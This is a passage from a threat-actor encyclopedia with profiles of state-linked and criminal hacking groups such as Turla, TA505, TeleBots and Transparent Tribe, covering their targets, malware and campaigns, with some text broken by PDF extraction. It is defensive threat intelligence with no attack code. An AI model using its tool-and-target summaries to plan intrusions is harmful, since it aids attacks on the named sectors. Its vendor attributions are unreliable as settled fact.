+performed +Sep 2016 +Spear-phishing attack +Method: The attackers spoofed several sender email addresses to +send spear-phishing emails, most notably public addresses +associated with the Sasakawa Peace Foundation and The White +House. +Target: Japanese academics working in several areas of science, +along with Japanese pharmaceutical and a US-based subsidiary of a +Japanese manufacturing organizations. + +2016 +Operation +Cloud Hopper +The campaign, which we refer to as Operation Cloud Hopper, has +targeted managed IT service providers (MSPs), allowing APT10 +unprecedented potential access to the intellectual property and +sensitive data of those MSPs and their clients globally. A number of +Japanese organizations have also been directly targeted in a +separate, simultaneous campaign by the same actor + +20162017 +Leveraging its global footprint, FireEye has detected APT10 activity +across six continents in 2016 and 2017. APT10 has targeted or +compromised manufacturing companies in India, Japan and Northern +Europe; a mining company in South America; and multiple IT service +providers worldwide. We believe these companies are a mix of final +targets and organizations that could provide a foothold in a final target. +Threat Group Cards: A Threat Actor Encyclopedia + +Feb 2017 +Operation +TradeSecret +The National Foreign Trade Council (NFTC) website was allegedly +infiltrated by Chinese nation-state threat actors, according to a new +report from Fidelis Cybersecurity. The attack against the NFTC site +has been dubbed +Operation TradeSecret + by Fidelis and is seen as +an attempt to gain insight into individuals closely associated with U.S +trade policy activities. + +2017 +Operation +ChessMaster +Take for instance the self-named ChessMaster, a campaign targeting +Japanese academe, technology enterprises, media outfits, managed +service providers, and government agencies. It employs various +poisoned pawns in the form of malware-laden spear-phishing emails +containing decoy documents. + +Nov 2017 +Targeted Norwegian MSP and US Companies in Sustained Campaign +A sustained cyberespionage campaign targeting at least three +companies in the United States and Europe was uncovered by +Recorded Future and Rapid7 between November 2017 and +September 2018. + +2018 +Operation +New Battle +This report provides a technical overview of the bespoke RedLeaves +implants leveraged by the actor in their +new battle + campaign. + + +Jul 2018 +Attack on the Japanese media sector +In July 2018, FireEye devices detected and blocked what appears to +be APT10 (menuPass) activity targeting the Japanese media sector. + +Jan 2019 +Breach of Airbus + +Apr 2019 +In April 2019, enSilo detected what it believes to be new activity by +Chinese cyber espionage group APT10. The variants discovered by +enSilo are previously unknown and deploy malware that is unique to +the threat actor. + +Counter +operations +MITRE ATT&CK + +Chinese Hackers Indicted (2018) + +Threat Group Cards: A Threat Actor Encyclopedia +Threat Group Cards: A Threat Actor Encyclopedia +Strider, ProjectSauron +Names +Strider (Symantec) +ProjectSauron (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) Strider has been active since at least October 2011. The group has +maintained a low profile until now and its targets have been mainly organizations +and individuals that would be of interest to a nation state +s intelligence services. +Symantec obtained a sample of the group +s Remsec malware from a customer who +submitted it following its detection by our behavioral engine. +Remsec is primarily designed to spy on targets. It opens a back door on an infected +computer, can log keystrokes, and steal files. +Strider has been highly selective in its choice of targets and, to date, Symantec has +found evidence of infections in 36 computers across seven separate organizations. +The group +s targets include a number of organizations and individuals located in +Russia, an airline in China, an organization in Sweden, and an embassy in +Belgium. +Observed +Sectors: Defense, Embassies, Financial, Government, Scientific research centers +and Telecommunications. +Countries: Belgium, China, Iran, Russia, Rwanda and Sweden. +Tools used +Remsec. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Suckfly +Names +Suckfly (Symantec) +Country +China +Motivation +Information theft and espionage +Description +(Symantec) In March 2016, Symantec published a blog on Suckfly, an advanced +cyberespionage group that conducted attacks against a number of South Korean +organizations to steal digital certificates. Since then we have identified a number of +attacks over a two-year period, beginning in April 2014, which we attribute to +Suckfly. The attacks targeted high-profile targets, including government and +commercial organizations. These attacks occurred in several different countries, but +our investigation revealed that the primary targets were individuals and +organizations primarily located in India. +While there have been several Suckfly campaigns that infected organizations with +the group +s custom malware Backdoor.Nidiran, the Indian targets show a greater +amount of post-infection activity than targets in other regions. This suggests that +these attacks were part of a planned operation against specific targets in India. +Observed +Sectors: E-commerce, Entertainment, Financial, Government, Healthcare, Media, +Shipping, Software development and Video game development. +Countries: India. +Tools used +gsecdump, Nidiran, rcpscan, smbscan and wce. +Operations +performed +Apr 2014 +The first known Suckfly campaign began in April of 2014. During our +investigation of the campaign, we identified a number of global targets +across several industries who were attacked in 2015. Many of the +targets we identified were well known commercial organizations +located in India. + +Late 2015 +We discovered Suckfly, an advanced threat group, conducting +targeted attacks using multiple stolen certificates, as well as hacktools +and custom malware. The group had obtained the certificates through +pre-attack operations before commencing targeted attacks against a +number of government and commercial organizations spread across +multiple continents over a two-year period. This type of activity and the +malicious use of stolen certificates emphasizes the importance of +safeguarding certificates to prevent them from being used maliciously. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +TA459 +Names +TA459 (Proofpoint) +Country +China +Motivation +Information theft and espionage +Description +(Proofpoint) On April 20 [2017], Proofpoint observed a targeted campaign focused +on financial analysts working at top global financial firms operating in Russia and +neighboring countries. These analysts were linked by their coverage of the +telecommunications industry, making this targeting very similar to, and likely a +continuation of, activity described in our +In Pursuit of Optical Fibers and Troop +Intel + blog. This time, however, attackers opportunistically used spear-phishing +emails with a Microsoft Word attachment exploiting the recently patched CVE-20170199 to deploy the ZeroT Trojan, which in turn downloaded the PlugX Remote +Access Trojan (RAT). +Proofpoint is tracking this attacker, believed to operate out of China, as TA459. The +actor typically targets Central Asian countries, Russia, Belarus, Mongolia, and +others. TA549 possesses a diverse malware arsenal including PlugX, NetTraveler, +and ZeroT. +Observed +Sectors: Financial Analysts. +Countries: Central Asian countries, Belarus, Mongolia, Russia and others. +Tools used +Gh0st RAT, NetTraveler, PlugX and ZeroT. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +TA505 +Names +TA505 (Proofpoint) +Country +[Unknown] +Motivation +Financial gain +Description +(Proofpoint) Proofpoint researchers track a wide range of threat actors involved in +both financially motivated cybercrime and state-sponsored actions. One of the more +prolific actors that we track - referred to as TA505 - is responsible for the largest +malicious spam campaigns we have ever observed, distributing instances of the +Dridex banking Trojan, Locky ransomware, Jaff ransomware, The Trick banking +Trojan, and several others in very high volumes. +Because TA505 is such a significant part of the email threat landscape, this blog +provides a retrospective on the shifting malware, payloads, and campaigns +associated with this actor. We examine their use malware such as Jaff, Bart, and +Rockloader that appear to be exclusive to this group as well as more widely +distributed malware like Dridex and Pony. Where possible, we detail the affiliate +models with which they are involved and outline the current state of TA505 +campaigns. +TA505 is arguably one of the most significant financially motivated threat actors +because of the extraordinary volumes of messages they send. The variety of +malware delivered by the group also demonstrates their deep connections to the +underground malware scene. At the time of writing, Locky ransomware remains +their malware of choice, even as the group continues to experiment with a variety of +additional malware. +Observed +Sectors: Financial, Hospitality and Retail. +Countries: Chile, China, France, Germany, Hungary, India, Italy, Mexico, Malawi, +Pakistan, South Korea, Taiwan, UK, Ukraine and USA. +Tools used +Bart, Dridex, FlawedAmmy, FlawedGrace, GlobeImposter, Jaff, Kegotip, Locky, +LOLBins, Necurs, Neutrino, Philadelphia, RockLoader, RMS, ServHelper, Shifu and +The Trick. +Operations +performed +Oct 2017 +On October 10, TA505 introduced their first geo-targeted campaign +dropping either Locky or The Trick banking Trojan. In this campaign, +HTML files were attached to emails inquiring about the status of an +invoice. + +Jun 2018 +We first observed an actor embedding SettingContent-ms inside a +PDF on June 18. However, on July 16 we observed a particularly +large campaign with hundreds of thousands of messages attempting +to deliver PDF attachments with an embedded SettingContent-ms file. + +Nov 2018 +Since November 15, 2018, Proofpoint began observing email +campaigns from a specific actor targeting large retail chains, +restaurant chains and grocery chains, as well as other organizations in +the food and beverage industries. + +Threat Group Cards: A Threat Actor Encyclopedia +Information +Nov 2018 +ServHelper and FlawedGrace - New malware introduced by TA505 + +Dec 2018 +In mid-December 2018 a spear-phishing campaign was detected as +targeting large US-based retailers along with organizations in the food +and beverage industry. Masquerading as a legitimate communication +sent from a Ricoh printer, the initial email lured victims into opening an +attached malicious Microsoft Word document. +Dec 2018 +Last month, 360 Threat Intelligence Center captured multiple phishing +emails sent by TA505 Group to target financial institutions. These +phishing emails contain Excel attachments with Excel 4.0 Macro +embedded and download Backdoor at last. + +Apr 2019 +LOLBins and a New Backdoor Malware + +May 2019 +During the last month our Threat Intelligence surveillance team +spotted increasing evidence of an operation intensification against the +Banking sector. + +May 2019 +In the last few days, during monitoring activities, Yoroi CERT noticed a +suspicious attack against an Italian organization. The malicious email +contains a highly suspicious sample which triggered the ZLAB team to +investigate its capabilities and its possible attribution, discovering a +potential expansion of the TA505 operation. + + + + + +Threat Group Cards: A Threat Actor Encyclopedia +Taidoor +Names +Taidoor (Trend Micro) +Country +China +Motivation +Information theft and espionage +Description +(Trend Micro) The Taidoor attackers have been actively engaging in targeted +attacks since at least March 4, 2009. Despite some exceptions, the Taidoor +campaign often used Taiwanese IP addresses as C&C servers and email +addresses to send out socially engineered emails with malware as attachments. +One of the primary targets of the Taidoor campaign appeared to be the Taiwanese +government. The attackers spoofed Taiwanese government email addresses to +send out socially engineered emails in the Chinese language that typically +leveraged Taiwan-themed issues. The attackers actively sent out malicious +documents and maintained several IP addresses for command and control. +As part of their social engineering ploy, the Taidoor attackers attach a decoy +document to their emails that, when opened, displays the contents of a legitimate +document but executes a malicious payload in the background. +We were only able to gather a limited amount of information regarding the Taidoor +attackers + activities after they have compromised a target. We did, however, find +that the Taidoor malware allowed attackers to operate an interactive shell on +compromised computers and to upload and download files. In order to determine +the operational capabilities of the attackers behind the Taidoor campaign, we +monitored a compromised honeypot. The attackers issued out some basic +commands in an attempt to map out the extent of the network compromise but +quickly realized that the honeypot was not an intended targeted and so promptly +disabled the Taidoor malware running on it. This indicated that while Taidoor +malware were more widely distributed compared with those tied to other targeted +campaigns, the attackers could quickly assess their targets and distinguish these +from inadvertently compromised computers and honeypots. +Observed +Sectors: Government. +Countries: Taiwan. +Tools used +Taidoor. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +TeamSpy Crew +Names +TeamSpy Crew (Kaspersky) +SIG39 (NSA) +Country +Russia +Motivation +Information theft and espionage +Description +(Kaspersky) Researchers have uncovered a long-term cyber-espionage campaign +that used a combination of legitimate software packages and commodity malware +tools to target a variety of heavy industry, government intelligence agencies and +political activists. Known as the TeamSpy crew because of its affinity for using the +legitimate TeamViewer application as part of its toolset, the attackers may have +been active for as long as 10 years, researchers say. +The attack appears to be a years-long espionage campaign, but experts who have +analyzed the victim profile, malware components and command-and-control +infrastructure say that it +s not entirely clear what kind of data the attackers are going +after. What is clear, though, is that the attackers have been at this for a long time +and that they have specific people in mind as targets. +Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National +Security Authority to an attack against a high-profile target in the country and began +looking into the campaign. They quickly discovered that some of the infrastructure +being used in the attack had been in use for some time and that the target they +were investigating was by no means the only one. +Observed +Countries: Worldwide. +Tools used +Malicious versions of TeamViewer and JAVA RATs. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +TeleBots +Names +TeleBots (ESET) +Country +Russia +Motivation +Sabotage and destruction +Description +(ESET) In the second half of 2016, ESET researchers identified a unique malicious +toolset that was used in targeted cyberattacks against high-value targets in the +Ukrainian financial sector. We believe that the main goal of attackers using these +tools is cybersabotage. This blog post outlines the details about the campaign that +we discovered. +We will refer to the gang behind the malware as TeleBots. However it +s important to +say that these attackers, and the toolset used, share a number of similarities with +the BlackEnergy group, which conducted attacks against the energy industry in +Ukraine in December 2015 and January 2016. In fact, we think that the +BlackEnergy group has evolved into the TeleBots group. +This group appears to be closely associated with, or evolved from, Sandworm +Team, Iron Viking, Voodoo Bear. +Observed +Sectors: Financial, Software companies and Transportation. +Countries: Ukraine and Worldwide (NotPetya). +Tools used +Felixroot, GreyEnergy, NotPetya and TeleDoor. +Operations +performed +Dec 2016 +These recent ransomware KillDisk variants are not only able to target +Windows systems, but also Linux machines, which is certainly +something we don +t see every day. This may include not only Linux +workstations but also servers, amplifying the damage potential. + +Mar 2017 +In 2017, the TeleBots group didn +t stop their cyberattacks; in fact, they +became more sophisticated. In the period between January and +March 2017 the TeleBots attackers compromised a software company +in Ukraine (not related to M.E. Doc), and, using VPN tunnels from +there, gained access to the internal networks of several financial +institutions. + +May 2017 +XData ransomware making rounds amid global WannaCryptor scare +A week after the global outbreak of WannaCryptor, also known as +WannaCry, another ransomware variant has been making the rounds. +Detected by ESET as Win32/Filecoder.AESNI.C, and also known as +XData ransomware, the threat has been most prevalent in Ukraine, +with 96% of the total detections between May 17th and May 22th, and +peaking on Friday, May 19th. ESET has protected its customers +against this threat since May 18th. + +Jun 2017 +NotPetya ransomware7 +7 See ThaiCERT Whitepaper +NotPetya Ransomware +Threat Group Cards: A Threat Actor Encyclopedia + +Oct 2017 +Information +Bad Rabbit ransomware8 + + + +8 See ThaiCERT Whitepaper +BadRabbit Ransomware +Threat Group Cards: A Threat Actor Encyclopedia +Temper Panda, admin@338 +Names +Temper Panda (Crowdstrike) +admin@338 (FireEye) +Team338 (Kaspersky) +Magnesium (Microsoft) +Country +China +Motivation +Information theft and espionage +Description +(FireEye) The threat group has previously used newsworthy events as lures to +deliver malware. They have largely targeted organizations involved in financial, +economic and trade policy, typically using publicly available RATs such as Poison +Ivy, as well some non-public backdoors. +The group started targeting Hong Kong media companies, probably in response to +political and economic challenges in Hong Kong and China. The threat group +latest activity coincided with the announcement of criminal charges against +democracy activists. During the past 12 months, Chinese authorities have faced +several challenges, including large-scale protests in Hong Kong in late 2014, the +precipitous decline in the stock market in mid-2015, and the massive industrial +explosion in Tianjin in August 2015. In Hong Kong, the pro-democracy movement +persists, and the government recently denied a professor a post because of his +links to a pro-democracy leader. +Observed +Sectors: Defense, Financial, Government, Media and Think Tanks. +Countries: Hong Kong and USA. +Tools used +Bozok, BUBBLEWRAP, LOWBALL, Poison Ivy and Systeminfo. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +TEMP.Veles +Names +TEMP.Veles (FireEye) +Xenotime (Dragos) +Country +Russia +Sponsor +State-sponsored, Central Scientific Research Institute of Chemistry and Mechanics +Motivation +Sabotage and destruction +Description +TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. +The group has been observed utilizing TRITON, a malware framework designed to +manipulate industrial safety systems. +Observed +Sectors: Critical infrastructure, Energy, Manufacturing and Oil and gas. +Countries: Saudi Arabia, USA and others. +Tools used +Cryptcat, HatMan, Mimikatz, NetExec, PSExec, SecHack, TRISIS, TRITON and +Wii. +Operations +performed +2014 +TRISIS malware + +2017 +TRITON malware + + +Feb 2019 +The most dangerous threat to ICS has new targets in its sights. +Dragos identified the XENOTIME activity group expanded its targeting +beyond oil and gas to the electric utility sector. This expansion to a +new vertical illustrates a trend that will likely continue for other ICStargeting adversaries. + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Terbium +Names +Terbium (Microsoft) +Country +[Unknown] +Motivation +Sabotage and destruction +Description +(Microsoft) A few weeks ago, multiple organizations in the Middle East fell victim to +targeted and destructive attacks that wiped data from computers, and in many +cases rendering them unstable and unbootable. Destructive attacks like these have +been observed repeatedly over the years and the Windows Defender and Windows +Defender Advanced Threat Protection Threat Intelligence teams are working on +protection, detection, and response to these threats. +Microsoft Threat Intelligence identified similarities between this recent attack and +previous 2012 attacks against tens of thousands of computers belonging to +organizations in the energy sector. Microsoft Threat Intelligence refers to the activity +group behind these attacks as Terbium, following our internal practice of assigning +rogue actors chemical element names. +Observed +Countries: Middle East. +Tools used +Depriz. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Thrip +Names +Thrip (Symantec) +Country +China +Motivation +Information theft, espionage and sabotage +Description +(Symantec) Perhaps the most worrying discovery we made was that Thrip had +targeted a satellite communications operator. The attack group seemed to be +particularly interested in the operational side of the company, looking for and +infecting computers running software that monitors and controls satellites. This +suggests to us that Thrip +s motives go beyond spying and may also include +disruption. +Another target was an organization involved in geospatial imaging and mapping. +Again, Thrip seemed to be mainly interested in the operational side of the company. +It targeted computers running MapXtreme Geographic Information System (GIS) +software which is used for tasks such as developing custom geospatial applications +or integrating location-based data into other applications. It also targeted machines +running Google Earth Server and Garmin imaging software. +The satellite operator wasn +t the only communications target Thrip was interested +in. The group had also targeted three different telecoms operators, all based in +Southeast Asia. In all cases, based on the nature of the computers infected by +Thrip, it appeared that the telecoms companies themselves and not their customers +were the targets of these attacks. +In addition, there was a fourth target of interest, a defense contractor. +Observed +Sectors: Defense, Satellite and Telecommunications. +Countries: Southeast Asia and USA. +Tools used +Catchamas, Mimikatz, Rikamanu, Spedear and WMI Ghost. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Transparent Tribe, APT 36 +Names +Transparent Tribe (Proofpoint) +APT 36 (Mandiant) +ProjectM (Palo Alto) +Mythic Leopard (CrowdStrike) +TEMP.Lapis (FireEye) +Country +Pakistan +Motivation +Information theft and espionage +Description +(Proofpoint) Proofpoint researchers recently uncovered evidence of an advanced +persistent threat (APT) against Indian diplomatic and military resources. Our +investigation began with malicious emails sent to Indian embassies in Saudi Arabia +and Kazakstan but turned up connections to watering hole sites focused on Indian +military personnel and designed to drop a remote access Trojan (RAT) with a +variety of data exfiltration functions. Our analysis shows that many of the +campaigns and attacks appear related by common IOCs, vectors, payloads, and +language, but the exact nature and attribution associated with this APT remain +under investigation. +At this time, the background and analysis in this paper provide useful forensics and +detail our current thinking on the malware that we have dubbed +MSIL/Crimson +Observed +Sectors: Defense, Embassies and Government. +Countries: India. +Tools used +Andromeda, beendoor, Bezigate, Bozok, BreachRAT, Crimson RAT, DarkComet, +Luminosity RAT, njRAT, Peppy Trojan and UPDATESEE. +Operations +performed +Feb 2016 +Operation +Transparent Tribe +On February 11, 2016, we discovered two attacks minutes apart +directed towards officials at Indian embassies in both Saudi Arabia +and Kazakhstan. Both e-mails (Fig. 1, 2) were sent from the same +originating IP address (5.189.145[.]248) belonging to Contabo GmbH, +a hosting provider that seems to be currently favored by these threat +actors. The e-mails also likely utilized Rackspace +s MailGun service +and both of them were carrying the same exact attachment. + +Mar 2016 +Indian TV station CNN-IBN has discovered that Pakistani officials +were collecting data about Indian troop movements using an Android +app called SmeshApp. + +Mar 2016 +Operation +C-Major +Trend Micro is reporting on a third campaign, which they've named +Operation C-Major. According to the security firm, this campaign +targeted Indian military officials via spear-phishing emails, distributing +spyware to its victims via an Adobe Reader vulnerability. + + +Threat Group Cards: A Threat Actor Encyclopedia +Feb 2017 +Information +This blog post describes another attack campaign where attackers +impersonated identity of Indian think tank IDSA (Institute for Defence +Studies and Analyses) and sent out spear-phishing emails to target +officials of the Central Bureau of Investigation (CBI) and possibly the +officials of Indian Army. + + + +Threat Group Cards: A Threat Actor Encyclopedia +Tropic Trooper +Names +Tropic Trooper (Trend Micro) +Country +[Unknown] +Motivation +Information theft and espionage +Description +Tropic Trooper is an unaffiliated threat group that has led targeted campaigns +against targets in Taiwan, the Philippines, and Hong Kong. Tropic Trooper focuses +on targeting government, healthcare, transportation, and high-tech industries and +has been active since 2011. +Observed +Sectors: Defense, Government, Healthcare, High-Tech and Transportation. +Countries: Hong Kong, Philippines and Taiwan. +Tools used +KeyBoy, PCShare, Poison Ivy, Titan, Yahoyah and Winsloader. +Operations +performed +2012 +Operation +Tropic Trooper +Taiwan and the Philippines have become the targets of an ongoing +campaign called +Operation Tropic Trooper. + Active since 2012, the +attackers behind the campaign have set their sights on the Taiwanese +government as well as a number of companies in the heavy industry. +The same campaign has also targeted key Philippine military +agencies. + +2014 +New Strategy +Tropic Trooper (also known as KeyBoy) levels its campaigns against +Taiwanese, Philippine, and Hong Kong targets, focusing on their +government, healthcare, transportation, and high-tech industries. + +Aug 2016 +In early August, Unit 42 identified two attacks using similar techniques. +The more interesting one was a targeted attack towards the Secretary +General of Taiwan +s Government office + Executive Yuan. The +Executive Yuan has several individual boards which are formed to +enforce different executing functions of the government. The +Executive Yuan Council evaluates statutory and budgetary bills and +bills concerning martial law, amnesty, declaration of war, conclusion of +peace and treaties, and other important affairs. + +2017 +Tropic Trooper goes mobile with Titan surveillanceware +The latest threat to follow this trend is Titan, a family of sophisticated +Android surveillanceware apps surfaced by Lookout's automated +analysis that, based on command and control infrastructure, is linked +to the same actors behind Operation Tropic Trooper. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Turla, Waterbug, Venomous Bear +Names +Turla (Kaspersky) +Waterbug (Symantec) +Venomous Bear (CrowdStrike) +Group 88 (Talos) +SIG23 (NSA) +Iron Hunter (SecureWorks) +Pacifier APT (Bitdefender) +Country +Russia +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +Turla is a Russian-based threat group that has infected victims in over 45 countries, +spanning a range of industries including government, embassies, military, +education, research and pharmaceutical companies since 2004. Heightened activity +was seen in mid-2015. Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. Turla +s espionage +platform is mainly used against Windows machines, but has also been seen used +against macOS and Linux machines. +Observed +Sectors: Defense, Education, Embassies, Energy, Government, High-Tech, Media, +NGOs, Pharmaceutical, Research and Retail. +Countries: Afghanistan, Algeria, Armenia, Australia, Austria, Azerbaijan, Belarus, +Belgium, Bolivia, Botswana, Brazil, China, Chile, Denmark, Ecuador, Estonia, +Finland, France, Georgia, Germany, Hong Kong, Hungary, India, Indonesia, Iran, +Iraq, Italy, Jamaica, Jordan, Kazakhstan, Kyrgyzstan, Kuwait, Latvia, Mexico, +Netherlands, Pakistan, Paraguay, Poland, Qatar, Romania, Russia, Serbia, Spain, +Saudi Arabia, South Africa, Sweden, Switzerland, Syria, Tajikistan, Thailand, +Tunisia, Turkmenistan, UK, Ukraine, Uruguay, USA, Uzbekistan, Venezuela, +Vietnam and Yemen. +Tools used +AdobeARM, Agent.BTZ, Agent.DNE, ATI-Agent, Cobra Carbon System, ComRAT, +Empire, Epic, Gazer, gpresult, HTML5 Encoding, IcedCoffeer, Kazuar, KopiLuwak, +KRYPTON, KSL0T, LightNeuron, Maintools.js, Metasploit, Mimikatz, MiniDionis, +Mosquito, Nautilus, nbtstat, Neuron, Outlook Backdoor, Penguin Turla, Pfinet, +Popeye, pwdump, Skipper, Snake, Systeminfo, Tasklist, Tavdig, Turla, Uroburos, +wce, WhiteAtlas, WhiteBear, Wipbot, WITCHCOVEN and WRAITH. +Operations +performed +1996 +Operation +Moonlight Maze +That is why our experts, aided by researchers from King +s College +London, have carefully studied Moonlight Maze + one of the first +widely known cyberespionage campaigns, active since at least 1996. +It is of particular interest because several independent experts from +countries have voiced the proposition that it is associated with a much +more modern + and still active + group, the authors of the Turla APT +attack. + +Nov 2008 +Breach of the US Department of Defense + +2013 +Breach of the Finnish Foreign Ministry + +Threat Group Cards: A Threat Actor Encyclopedia +2013 +Operation +Epic Turla +Over the last 10 months, Kaspersky Lab researchers have analyzed a +massive cyber-espionage operation which we call +Epic Turla +. The +attackers behind Epic Turla have infected several hundred computers +in more than 45 countries, including government institutions, +embassies, military, education, research and pharmaceutical +companies. + +2014 +Breach of the Swiss military firm RUAG + +Dec 2014 +Operation +Penguin Turla +The Turla APT campaigns have a broader reach than initially +anticipated after the recent discovery of two modules built to infect +servers running Linux. Until now, every Turla sample in captivity was +designed for either 32- or 64-bit Windows systems, but researchers at +Kaspersky Lab have discovered otherwise. + +2015 +Operation +Satellite Turla +Obviously, such incredibly apparent and large-scale attacks have little +chance of surviving for long periods of time, which is one of the key +requirements for running an APT operation. It is therefore not very +feasible to perform the attack through MitM traffic hijacking, unless the +attackers have direct control over some high-traffic network points, +such as backbone routers or fiber optics. There are signs that such +attacks are becoming more common, but there is a much simpler way +to hijack satellite-based Internet traffic. + +2015 +Operation +WITCHCOVEN +When an unsuspecting user visits any of the over 100 compromised +websites, a small piece of inserted code +embedded in the site +HTML and invisible to casual visitors +quietly redirects the user +browser to a second compromised website without the user +knowledge. This second website hosts the WITCHCOVEN script, +which uses profiling techniques to collect technical information on the +user +s computer. As of early November 2015, we identified a total of +14 websites hosting the WITCHCOVEN profiling script. + +Nov 2016 +Operation +Skipper Turla +On 28 January 2017, John Lambert of Microsoft (@JohnLaTwC) +tweeted about a malicious document that dropped a +very interesting +.JS backdoor +. Since the end of November 2016, Kaspersky Lab has +observed Turla using this new JavaScript payload and specific macro +variant. + + +2017 +Operation +Turla Mosquito +Threat Group Cards: A Threat Actor Encyclopedia +ESET researchers have observed a significant change in the +campaign of the infamous espionage group + +Mar 2017 +New versions of Carbon +The Turla espionage group has been targeting various institutions for +many years. Recently, we found several new versions of Carbon, a +second stage backdoor in the Turla group arsenal. + +May 2017 +New backdoor Kazuar + +Jun 2017 +Some of the tactics used in APT attacks die hard. A good example is +provided by Turla +s watering hole campaigns. Turla, which has been +targeting governments, government officials and diplomats for years +see, as an example, this recent paper + is still using watering hole +techniques to redirect potentially interesting victims to their C&C +infrastructure. In fact, they have been using them since at least 2014 +with very few variations in their modus operandi. + +Jul 2017 +Russian malware link hid in a comment on Britney Spears' Instagram +The Slovak IT security company ESET Security released a report +yesterday detailing a cleverly hidden example of such a post. And its +hideout? A Britney Spears photo. Among the nearly 7,000 comments +written on the performer's post (shown below) was one that could +easily pass as spam. + +Aug 2017 +New backdoor Gazer + +Aug 2017 +In this case, the dropper is being delivered with a benign and possibly +stolen decoy document inviting recipients to a G20 task force meeting +on the "Digital Economy". The Digital Economy event is actually +scheduled for October of this year in Hamburg, Germany. + +Jan 2018 +A notorious hacking group is targeting the UK with an updated version +of malware designed to embed itself into compromised networks and +stealthily conduct espionage. +Both the Neuron and Nautilus malware variants have previously been +attributed to the Turla advanced persistent threat group, which +regularly carries out cyber-espionage against a range of targets, +including government, military, technology, energy, and other +commercial organisations. + +Threat Group Cards: A Threat Actor Encyclopedia +Mar 2018 +Starting in March 2018, we observed a significant change in the +campaign: it now leverages the open source exploitation framework +Metasploit before dropping the custom Mosquito backdoor. + +2018 +Much of our 2018 research focused on Turla +s KopiLuwak javascript +backdoor, new variants of the Carbon framework and meterpreter +delivery techniques. Also interesting was Mosquito +s changing delivery +techniques, customized PoshSec-Mod open-source powershell use, +and borrowed injector code. We tied some of this activity together with +infrastructure and data points from WhiteBear and Mosquito +infrastructure and activity in 2017 and 2018. + +May 2019 +Turla, also known as Snake, is an infamous espionage group +recognized for its complex malware. To confound detection, its +operators recently started using PowerShell scripts that provide direct, +in-memory loading and execution of malware executables and +libraries. This allows them to bypass detection that can trigger when a +malicious executable is dropped on disk. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Urpage +Names +Urpage (Trend Micro) +Country +[Middle East] +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Trend Micro) In the process of monitoring changes in the threat landscape, we get +a clearer insight into the way threat actors work behind the schemes. In this case +we dig deeper into the possible connection between cyberattacks by focusing on +the similarities an unnamed threat actor shares with Confucius, Patchwork, +Dropping Elephant, and another threat actor called Bahamut. For the sake of this +report, we will call this unnamed threat actor +Urpage. +Observed +Countries: Pakistan. +Tools used +Trojaned Android applications. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Volatile Cedar +Names +Volatile Cedar (Check Point) +Dancing Salome (Kaspersky) +Country +Lebanon +Motivation +Information theft and espionage +Description +(Check Point) Beginning in late 2012, the carefully orchestrated attack campaign +we call Volatile Cedar has been targeting individuals, companies and institutions +worldwide. This campaign, led by a persistent attacker group, has successfully +penetrated a large number of targets using various attack techniques, and +specifically, a custom-made malware implant codenamed Explosive. This report +provides an extended technical analysis of Volatile Cedar and the Explosive +malware. +We have seen clear evidence that Volatile Cedar has been active for almost 3 +years. While many of the technical aspects of the threat are not considered +cutting +edge +, the campaign has been continually and successfully operational throughout +this entire timeline, evading detection by the majority of AV products. This success +is due to a well-planned and carefully managed operation that constantly monitors +its victims + actions and rapidly responds to detection incidents. +Observed +Sectors: Education, Government and Hosting. +Countries: Canada, Israel, Lebanon, Russia, Saudi Arabia, UK and USA. +Tools used +Explosive. +Operations +performed +Jun 2015 +Information + + +After going public with our findings, we were provided with a new +configuration belonging to a newly discovered sample we have never +seen before. + +Threat Group Cards: A Threat Actor Encyclopedia +Whitefly +Names +Whitefly (Symantec) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) Symantec researchers have discovered that this attack group, which +we call Whitefly, has been operating since at least 2017, has targeted organizations +based mostly in Singapore across a wide variety of sectors, and is primarily +interested in stealing large amounts of sensitive information. +Whitefly compromises its victims using custom malware alongside open-source +hacking tools and living off the land tactics, such as malicious PowerShell scripts. +From mid-2017 to mid-2018, Whitefly launched targeted attacks against multiple +organizations. While most of these organizations were based in Singapore, some +were multinational organizations with a presence in Singapore. +Observed +Sectors: Engineering, Healthcare, Media and Telecommunications. +Countries: Singapore. +Tools used +Mimikatz, Nibatad, Termite and Vcrodat. +Operations +performed +Jul 2018 +Information + +Breach of SingHealth + +Threat Group Cards: A Threat Actor Encyclopedia +Wicked Spider, APT 22 +Names +Wicked Spider (CrowdStrike) +APT 22 (Mandiant) +Country +China +Motivation +Financial gain +Description +(CrowdStrike) Winnti Group, Blackfly, Wicked Panda refers to the targeted intrusion +operations of the actor publicly known as +Winnti, + whereas Wicked Spider +represents this group +s financially-motivated criminal activity. Originally, Wicked +Spider was observed exploiting a number of gaming companies and stealing codesigning certificates for use in other operations associated with the malware known +as Winnti. Now, Winnti is commonly associated with the interests of the government +of the People +s Republic of China (PRC). +Wicked Spider has been observed targeting technology companies in Germany, +Indonesia, the Russian Federation, South Korea, Sweden, Thailand, Turkey, the +United States, and elsewhere. Notably, Wicked Spider has often targeted gaming +companies for their certificates, which can be used in future PRC-based operations +to sign malware. Ongoing analysis is still evaluating how these certificates are used + whether Wicked Spider hands the certificates off to other adversaries for use in +future campaigns or stockpiles them for its own use. +Observed +Sectors: Technology. +Countries: Germany, Indonesia, Russia, South Korea, Sweden, Thailand, Turkey, +USA and elsewhere. +Tools used +ETERNALBLUE, DOUBLEPULSAR and PlugX. +Information + +Threat 